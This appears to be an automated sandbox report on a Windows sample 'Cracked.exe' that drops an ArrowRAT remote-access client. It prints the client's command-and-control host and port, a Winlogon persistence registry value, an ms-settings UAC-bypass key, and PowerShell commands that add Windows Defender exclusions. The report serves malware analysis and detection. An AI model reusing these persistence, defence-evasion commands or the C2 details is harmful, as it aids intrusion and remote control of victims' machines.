Analysis
-
max time kernel
141s -
max time network
125s -
platform
windows7_x64 -
resource
win7-20230712-en -
resource tags
arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system -
submitted
29-07-2023 20:39
Static task
static1
Behavioral task
behavioral1
Sample
Cracked.exe
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
Cracked.exe
Resource
win10v2004-20230703-en
General
-
Target
Cracked.exe
-
Size
2.4MB
-
MD5
6eb284564aa7bd24f4f6df02ef05d185
-
SHA1
47f85ddc0b1a090d1852c37b2e2e1449e5b6db88
-
SHA256
2be002d8f440059579b6eec67e37a1272081daad1dc8e3f3800adf94620c7beb
-
SHA512
49e1a9584c74f32f9566d3c4ca31684c474ec260e50bd07b8d3c0a8ef3f3e70d10773952e5d219aa8c9076b86cddcefd242dfb91b507feeb06c5d69ba9e91179
-
SSDEEP
49152:Wm7ZuvKRXc8DJ2c2Xp95LBO1PJNNNQzgj7k/8E54IlDXRRtdQNH:D77P2XPOxJ9FcEq4IZXRRC
Malware Config
Extracted
arrowrat
Client
line-ellis.gl.at.ply.gg:10735
nAChhjAnR
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
Processes:
Client.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-4219371764-2579186923-3390623117-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Temp\\LHost\\hDvkdxlbo.exe" Client.exe -
Modifies Installed Components in the registry 2 TTPs 1 IoCs
Processes:
explorer.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-4219371764-2579186923-3390623117-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe -
Executes dropped EXE 2 IoCs
Processes:
Client.exeSteamSetup.exepid process 2940 Client.exe 2820 SteamSetup.exe -
Loads dropped DLL 2 IoCs
Processes:
SteamSetup.exepid process 2820 SteamSetup.exe 2820 SteamSetup.exe -
Drops file in Windows directory 1 IoCs
Processes:
Cracked.exedescription ioc process File created C:\Windows\Client.exe Cracked.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 11 IoCs
Processes:
explorer.exeClient.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-4219371764-2579186923-3390623117-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-4219371764-2579186923-3390623117-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff explorer.exe Key created \REGISTRY\USER\S-1-5-21-4219371764-2579186923-3390623117-1000_CLASSES\ms-settings\shell Client.exe Key created \REGISTRY\USER\S-1-5-21-4219371764-2579186923-3390623117-1000_CLASSES\ms-settings\shell\open\command Client.exe Key created \REGISTRY\USER\S-1-5-21-4219371764-2579186923-3390623117-1000_CLASSES\ms-settings Client.exe Key created \REGISTRY\USER\S-1-5-21-4219371764-2579186923-3390623117-1000_CLASSES\ms-settings\shell\open Client.exe Set value (str) \REGISTRY\USER\S-1-5-21-4219371764-2579186923-3390623117-1000_CLASSES\ms-settings\shell\open\command\ = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -Command Add-MpPreference -ExclusionPath 'C:\\Users\\Admin\\AppData\\Local\\Temp\\LHost\\hDvkdxlbo.exe'" Client.exe Set value (str) \REGISTRY\USER\S-1-5-21-4219371764-2579186923-3390623117-1000_CLASSES\ms-settings\shell\open\command\DelegateExecute Client.exe Key created \REGISTRY\USER\S-1-5-21-4219371764-2579186923-3390623117-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-4219371764-2579186923-3390623117-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-4219371764-2579186923-3390623117-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots explorer.exe -
Suspicious behavior: EnumeratesProcesses 23 IoCs
Processes:
Client.exepowershell.exepid process 2940 Client.exe 2432 powershell.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe 2940 Client.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
Processes:
Client.exepowershell.exeexplorer.exedescription pid process Token: SeDebugPrivilege 2940 Client.exe Token: SeDebugPrivilege 2432 powershell.exe Token: SeShutdownPrivilege 2824 explorer.exe Token: SeShutdownPrivilege 2824 explorer.exe Token: SeShutdownPrivilege 2824 explorer.exe Token: SeShutdownPrivilege 2824 explorer.exe Token: SeShutdownPrivilege 2824 explorer.exe Token: SeShutdownPrivilege 2824 explorer.exe Token: SeShutdownPrivilege 2824 explorer.exe Token: SeShutdownPrivilege 2824 explorer.exe Token: SeShutdownPrivilege 2824 explorer.exe Token: SeShutdownPrivilege 2824 explorer.exe Token: SeShutdownPrivilege 2824 explorer.exe -
Suspicious use of FindShellTrayWindow 28 IoCs
Processes:
explorer.exepid process 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe -
Suspicious use of SendNotifyMessage 18 IoCs
Processes:
explorer.exepid process 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe 2824 explorer.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
Client.exepid process 2940 Client.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
Cracked.exeClient.exeexplorer.exedescription pid process target process PID 2112 wrote to memory of 2432 2112 Cracked.exe powershell.exe PID 2112 wrote to memory of 2432 2112 Cracked.exe powershell.exe PID 2112 wrote to memory of 2432 2112 Cracked.exe powershell.exe PID 2112 wrote to memory of 2940 2112 Cracked.exe Client.exe PID 2112 wrote to memory of 2940 2112 Cracked.exe Client.exe PID 2112 wrote to memory of 2940 2112 Cracked.exe Client.exe PID 2112 wrote to memory of 2820 2112 Cracked.exe SteamSetup.exe PID 2112 wrote to memory of 2820 2112 Cracked.exe SteamSetup.exe PID 2112 wrote to memory of 2820 2112 Cracked.exe SteamSetup.exe PID 2112 wrote to memory of 2820 2112 Cracked.exe SteamSetup.exe PID 2112 wrote to memory of 2820 2112 Cracked.exe SteamSetup.exe PID 2112 wrote to memory of 2820 2112 Cracked.exe SteamSetup.exe PID 2112 wrote to memory of 2820 2112 Cracked.exe SteamSetup.exe PID 2940 wrote to memory of 2824 2940 Client.exe explorer.exe PID 2940 wrote to memory of 2824 2940 Client.exe explorer.exe PID 2940 wrote to memory of 2824 2940 Client.exe explorer.exe PID 2940 wrote to memory of 2152 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 2152 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 2152 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 2152 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 1216 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 1216 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 1216 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 1216 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 524 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 524 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 524 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 524 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 324 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 324 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 324 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 324 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 792 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 792 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 792 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 792 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 768 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 768 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 768 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 768 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 1492 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 1492 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 1492 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 1492 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 572 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 572 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 572 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 572 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 1484 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 1484 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 1484 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 1484 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 1176 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 1176 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 1176 2940 Client.exe cvtres.exe PID 2940 wrote to memory of 1176 2940 Client.exe cvtres.exe PID 2824 wrote to memory of 2184 2824 explorer.exe ctfmon.exe PID 2824 wrote to memory of 2184 2824 explorer.exe ctfmon.exe PID 2824 wrote to memory of 2184 2824 explorer.exe ctfmon.exe PID 2824 wrote to memory of 564 2824 explorer.exe ctfmon.exe PID 2824 wrote to memory of 564 2824 explorer.exe ctfmon.exe PID 2824 wrote to memory of 564 2824 explorer.exe ctfmon.exe PID 2940 wrote to memory of 2740 2940 Client.exe ComputerDefaults.exe PID 2940 wrote to memory of 2740 2940 Client.exe ComputerDefaults.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\Cracked.exe"C:\Users\Admin\AppData\Local\Temp\Cracked.exe"1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2112 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAZABjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AZQB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAbQBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0AYgBqACMAPgA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2432 -
C:\Windows\Client.exe"C:\Windows\Client.exe"2⤵
- Modifies WinLogon for persistence
- Executes dropped EXE
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2940 -
C:\Windows\explorer.exe"C:\Windows\explorer.exe"3⤵
- Modifies Installed Components in the registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2824 -
C:\Windows\system32\ctfmon.exectfmon.exe4⤵PID:2184
-
C:\Windows\system32\ctfmon.exectfmon.exe4⤵PID:564
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR3⤵PID:2152
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR3⤵PID:1216
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR3⤵PID:324
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR3⤵PID:524
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR3⤵PID:1484
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR3⤵PID:572
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR3⤵PID:1492
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR3⤵PID:1176
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR3⤵PID:768
-
C:\Windows\System32\ComputerDefaults.exe"C:\Windows\System32\ComputerDefaults.exe"3⤵PID:2740
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" Client line-ellis.gl.at.ply.gg 10735 nAChhjAnR3⤵PID:792
-
C:\Users\Admin\AppData\Local\Temp\SteamSetup.exe"C:\Users\Admin\AppData\Local\Temp\SteamSetup.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2820
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\SteamSetup.exeFilesize
2.2MB
MD570f3bc193dfa56b78f3e6e4f800f701f
SHA11e5598f2de49fed2e81f3dd8630c7346a2b89487
SHA2563b616cb0beaacffb53884b5ba0453312d2577db598d2a877a3b251125fb281a1
SHA5123ffa815fea2fe37c4fde71f70695697d2b21d6d86a53eea31a1bc1256b5777b44ff400954a0cd0653f1179e4b2e63e24e50b70204d2e9a4b8bf3abf8ede040d1
-
C:\Users\Admin\AppData\Local\Temp\SteamSetup.exeFilesize
2.2MB
MD570f3bc193dfa56b78f3e6e4f800f701f
SHA11e5598f2de49fed2e81f3dd8630c7346a2b89487
SHA2563b616cb0beaacffb53884b5ba0453312d2577db598d2a877a3b251125fb281a1
SHA5123ffa815fea2fe37c4fde71f70695697d2b21d6d86a53eea31a1bc1256b5777b44ff400954a0cd0653f1179e4b2e63e24e50b70204d2e9a4b8bf3abf8ede040d1
-
C:\Windows\Client.exeFilesize
158KB
MD5d7dea9816b882cb53d615a3afdf0c955
SHA1d3bfd91ff74c072028bd747d4f56f17cc55168a5
SHA25696d3ba07a0486f3b25474af2ea79d09ada281de55ebedb75f32ffdd670c107c6
SHA512b0881a34616faa65c5f279f5dd1f9e51a951c982046a46afdb109db71dd34c5148db017faf1141ab5a713846d22df463a576c4c274558f56bf624cc703eb0f35
-
C:\Windows\Client.exeFilesize
158KB
MD5d7dea9816b882cb53d615a3afdf0c955
SHA1d3bfd91ff74c072028bd747d4f56f17cc55168a5
SHA25696d3ba07a0486f3b25474af2ea79d09ada281de55ebedb75f32ffdd670c107c6
SHA512b0881a34616faa65c5f279f5dd1f9e51a951c982046a46afdb109db71dd34c5148db017faf1141ab5a713846d22df463a576c4c274558f56bf624cc703eb0f35
-
\Users\Admin\AppData\Local\Temp\nsoB186.tmp\System.dllFilesize
11KB
MD5a4dd044bcd94e9b3370ccf095b31f896
SHA117c78201323ab2095bc53184aa8267c9187d5173
SHA2562e226715419a5882e2e14278940ee8ef0aa648a3ef7af5b3dc252674111962bc
SHA51287335a43b9ca13e1300c7c23e702e87c669e2bcf4f6065f0c684fc53165e9c1f091cc4d79a3eca3910f0518d3b647120ac0be1a68eaade2e75eaa64adfc92c5a
-
\Users\Admin\AppData\Local\Temp\nsoB186.tmp\nsDialogs.dllFilesize
9KB
MD50d45588070cf728359055f776af16ec4
SHA1c4375ceb2883dee74632e81addbfa4e8b0c6d84a
SHA256067c77d51df034b4a614f83803140fbf4cd2f8684b88ea8c8acdf163edad085a
SHA512751ebf4c43f100b41f799d0fbf8db118ea8751df029c1f4c4b0daeb0fef200ddf2e41c1c9c55c2dc94f2c841cf6acb7df355e98a2e5877a7797f0f1d41a7e415
-
memory/2112-56-0x000007FEF5D80000-0x000007FEF676C000-memory.dmpFilesize
9.9MB
-
memory/2112-55-0x000007FEF5D80000-0x000007FEF676C000-memory.dmpFilesize
9.9MB
-
memory/2112-54-0x0000000001000000-0x0000000001260000-memory.dmpFilesize
2.4MB
-
memory/2112-74-0x000007FEF5D80000-0x000007FEF676C000-memory.dmpFilesize
9.9MB
-
memory/2112-57-0x000000001B420000-0x000000001B4A0000-memory.dmpFilesize
512KB
-
memory/2432-98-0x0000000002910000-0x0000000002990000-memory.dmpFilesize
512KB
-
memory/2432-99-0x0000000002910000-0x0000000002990000-memory.dmpFilesize
512KB
-
memory/2432-75-0x0000000002910000-0x0000000002990000-memory.dmpFilesize
512KB
-
memory/2432-100-0x000007FEF2690000-0x000007FEF302D000-memory.dmpFilesize
9.6MB
-
memory/2432-94-0x0000000002460000-0x0000000002468000-memory.dmpFilesize
32KB
-
memory/2432-95-0x000007FEF2690000-0x000007FEF302D000-memory.dmpFilesize
9.6MB
-
memory/2432-96-0x0000000002910000-0x0000000002990000-memory.dmpFilesize
512KB
-
memory/2432-77-0x000000001B340000-0x000000001B622000-memory.dmpFilesize
2.9MB
-
memory/2432-97-0x000007FEF2690000-0x000007FEF302D000-memory.dmpFilesize
9.6MB
-
memory/2740-102-0x0000000002250000-0x0000000002251000-memory.dmpFilesize
4KB
-
memory/2740-106-0x0000000002250000-0x0000000002251000-memory.dmpFilesize
4KB
-
memory/2824-104-0x0000000003BE0000-0x0000000003BE1000-memory.dmpFilesize
4KB
-
memory/2824-108-0x0000000003BE0000-0x0000000003BE1000-memory.dmpFilesize
4KB
-
memory/2824-112-0x0000000002670000-0x0000000002680000-memory.dmpFilesize
64KB
-
memory/2940-65-0x000007FEF5D80000-0x000007FEF676C000-memory.dmpFilesize
9.9MB
-
memory/2940-63-0x0000000001010000-0x000000000103E000-memory.dmpFilesize
184KB
-
memory/2940-103-0x0000000000400000-0x0000000000480000-memory.dmpFilesize
512KB
-
memory/2940-105-0x000007FEF5D80000-0x000007FEF676C000-memory.dmpFilesize
9.9MB
-
memory/2940-107-0x0000000000400000-0x0000000000480000-memory.dmpFilesize
512KB